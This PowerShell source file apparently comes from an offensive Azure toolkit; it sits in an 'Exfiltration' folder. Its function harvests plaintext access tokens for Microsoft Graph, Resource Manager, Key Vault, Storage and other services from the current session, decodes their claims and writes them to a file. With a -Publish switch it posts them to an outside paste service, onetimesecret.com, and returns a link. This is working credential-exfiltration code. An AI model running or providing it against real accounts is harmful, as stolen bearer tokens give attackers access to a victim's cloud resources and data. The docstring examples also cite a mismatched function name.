Public/Exfiltration/Export-AzAccessToken.ps1

function Export-AzAccessToken {
    [cmdletbinding()]
    [OutputType([string])] # Declares that the function can return a string
    param (
        [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $false)]
        [ValidateNotNullOrEmpty()]
        [ValidateSet("MSGraph", "ResourceManager", "KeyVault", "Storage", "Synapse", "OperationalInsights", "Batch", IgnoreCase = $true)]
        [array]$ResourceTypeNames = @("MSGraph", "ResourceManager", "KeyVault", "Storage", "Synapse", "OperationalInsights", "Batch"),

        [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true)]
        [ValidateNotNullOrEmpty()]
        [string]$OutputFile = "accesstokens.json",

        [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true)]
        [switch]$Publish
    )

    begin {
        Write-Host "🚀 Starting function $($MyInvocation.MyCommand.Name)" -ForegroundColor Cyan
        Write-Verbose "Starting function $($MyInvocation.MyCommand.Name)"
    }

    process {
        try {
            Write-Host "🔐 Requesting access tokens for specified audiences" -ForegroundColor Yellow
            Write-Verbose "Requesting access tokens for specified audiences"
            
            Write-Host "🔄 Processing $($ResourceTypeNames.Count) resource types..." -ForegroundColor Magenta
            
            $tokens = @()
            $processingSummary = @()
            $totalResources = $ResourceTypeNames.Count
            $currentIndex = 0

            # Process each resource type sequentially to avoid module loading issues
            foreach ($resourceTypeName in $ResourceTypeNames) {
                $currentIndex++
                $progressPercent = [math]::Round(($currentIndex / $totalResources) * 100)
                
                Write-Host "⚡ [$currentIndex/$totalResources] Processing $resourceTypeName... ($progressPercent%)" -ForegroundColor Blue
                
                $startTime = Get-Date
                try {
                    # Import required modules
                    Import-Module Az.Accounts -Force

                    $accessToken = (Get-AzAccessToken -ResourceTypeName $resourceTypeName -AsSecureString)
                    $plainToken = ($accessToken.token | ConvertFrom-SecureString -AsPlainText)

                    # Basic JWT parsing without external dependencies
                    $tokenParts = $plainToken.Split('.')
                    if ($tokenParts.Count -ge 2) {
                        try {
                            # Decode the payload (second part of JWT)
                            $payload = $tokenParts[1]
                            # Add padding if needed
                            while ($payload.Length % 4) { $payload += "=" }
                            $payloadBytes = [System.Convert]::FromBase64String($payload)
                            $payloadJson = [System.Text.Encoding]::UTF8.GetString($payloadBytes)
                            $tokenContent = $payloadJson | ConvertFrom-Json

                            $tokenObject = [PSCustomObject]@{
                                Resource = $resourceTypeName
                                UPN      = if ($tokenContent.upn) { $tokenContent.upn } else { "N/A" }
                                Audience = if ($tokenContent.aud) { $tokenContent.aud } else { "N/A" }
                                Roles    = if ($tokenContent.roles) { $tokenContent.roles } else { "N/A" }
                                Scope    = if ($tokenContent.scp) { $tokenContent.scp } else { "N/A" }
                                Tenant   = if ($tokenContent.tid) { $tokenContent.tid } else { "N/A" }
                                Token    = $plainToken
                                Status   = "Success"
                            }
                        }
                        catch {
                            # Fallback if JWT parsing fails
                            $tokenObject = [PSCustomObject]@{
                                Resource = $resourceTypeName
                                UPN      = "N/A"
                                Audience = "N/A"
                                Roles    = "N/A"
                                Scope    = "N/A"
                                Tenant   = "N/A"
                                Token    = $plainToken
                                Status   = "Success (Limited Parsing)"
                            }
                        }
                    } else {
                        # Invalid JWT format
                        $tokenObject = [PSCustomObject]@{
                            Resource = $resourceTypeName
                            UPN      = "N/A"
                            Audience = "N/A"
                            Roles    = "N/A"
                            Scope    = "N/A"
                            Tenant   = "N/A"
                            Token    = $plainToken
                            Status   = "Success (No Parsing)"
                        }
                    }

                    $tokens += $tokenObject
                    
                    $processingTime = (Get-Date) - $startTime
                    $processingSummary += [PSCustomObject]@{
                        Resource = $resourceTypeName
                        Status = "✅ Success"
                        UPN = $tokenObject.UPN
                        Tenant = $tokenObject.Tenant
                        ProcessingTime = "$([math]::Round($processingTime.TotalMilliseconds))ms"
                        Error = $null
                    }
                }
                catch {
                    $processingTime = (Get-Date) - $startTime
                    $processingSummary += [PSCustomObject]@{
                        Resource = $resourceTypeName
                        Status = "❌ Failed"
                        UPN = "N/A"
                        Tenant = "N/A"
                        ProcessingTime = "$([math]::Round($processingTime.TotalMilliseconds))ms"
                        Error = $_.Exception.Message
                    }
                    Write-Error "Failed to get access token for resource type $resourceTypeName : $($_.Exception.Message)"
                }
            }

            # Display comprehensive summary
            Write-Host "`n🎯 PROCESSING SUMMARY" -ForegroundColor Cyan
            Write-Host "----------------------------------------" -ForegroundColor Cyan
            $successCount = ($processingSummary | Where-Object { $_.Status -like "*Success*" }).Count
            $failureCount = ($processingSummary | Where-Object { $_.Status -like "*Failed*" }).Count
            
            Write-Host "📊 FINAL RESULTS" -ForegroundColor Cyan
            Write-Host "✅ Successful: $successCount tokens" -ForegroundColor Green
            Write-Host "❌ Failed: $failureCount requests" -ForegroundColor Red
            Write-Host "🔢 Total Processed: $totalResources resource types" -ForegroundColor Blue

            if ($Publish) {
                Write-Host "`n🌐 Publishing tokens to secure sharing service..." -ForegroundColor Cyan
                $requestParam = @{
                    Uri         = 'https://us.onetimesecret.com/api/v1/share'
                    Method      = 'POST'
                    Body        = @{
                        secret = $tokens | ConvertTo-Json -Depth 10
                        ttl    = 3600
                    }
                }

                $response = Invoke-RestMethod @requestParam
                $secretUrl = "https://us.onetimesecret.com/secret/$($response.secret_key)"
                Write-Host "🔗 Tokens published successfully!" -ForegroundColor Green
                Write-Host "🌐 Secure URL: $secretUrl" -ForegroundColor Cyan
                return $secretUrl

            } else {
                Write-Host "`n💾 Exporting tokens to file..." -ForegroundColor Cyan
                Write-Verbose "Exporting tokens to file $OutputFile"
                $tokens | ConvertTo-Json -Depth 10 | Out-File -FilePath $OutputFile
                Write-Host "✅ Export completed!" -ForegroundColor Green
                Write-Host "📁 File location: $OutputFile" -ForegroundColor Cyan
            }
        }
        catch {
            Write-Host "💥 An error occurred in function $($MyInvocation.MyCommand.Name): $($_.Exception.Message)" -ForegroundColor Red
            Write-Error "An error occurred in function $($MyInvocation.MyCommand.Name): $($_.Exception.Message)"
        }
    }

    end {
        Write-Host "🎉 Function $($MyInvocation.MyCommand.Name) completed successfully!" -ForegroundColor Green
        Write-Verbose "Function $($MyInvocation.MyCommand.Name) completed"
    }
    <#
    .SYNOPSIS
        Exports access tokens for specified Azure resource types with enhanced emoji output.
 
    .DESCRIPTION
        The Export-AzAccessToken function retrieves access tokens for specified Azure resource types and exports them to a JSON file.
        It processes tokens sequentially with beautiful emoji progress indicators and comprehensive error handling.
        This approach avoids module loading conflicts while providing an excellent user experience.
         
    .PARAMETER ResourceTypeNames
        An optional array of strings specifying the Azure resource types for which to request access tokens.
        Supported values are "MSGraph", "ResourceManager", "KeyVault", "Storage", "Synapse", "OperationalInsights", and "Batch".
        The default value includes all supported resource types.
 
    .PARAMETER OutputFile
        An optional string specifying the path to the file where the tokens will be exported.
        The default value is "accesstokens.json".
 
    .PARAMETER Publish
        An optional switch parameter. If specified, the tokens will be published to a secure sharing service
        (https://us.onetimesecret.com) instead of being saved to a file. The function will return a URL to access the shared tokens.
 
    .EXAMPLE
        Export-AzAccessToken-Parallel -ResourceTypeNames @("MSGraph", "ResourceManager") -OutputFile "AccessTokens.json"
        Exports access tokens for "MSGraph" and "ResourceManager" resource types and saves them to "AccessTokens.json".
 
    .EXAMPLE
        Export-AzAccessToken-Parallel -Publish
        Exports access tokens for all default resource types and publishes them to a secure sharing service.
        Returns a URL to access the shared tokens.
 
    .NOTES
        This function requires the Azure PowerShell module to be installed and authenticated.
        Uses sequential processing to avoid module loading conflicts while providing rich emoji feedback.
        Includes comprehensive error handling and beautiful progress indicators.
    #>

}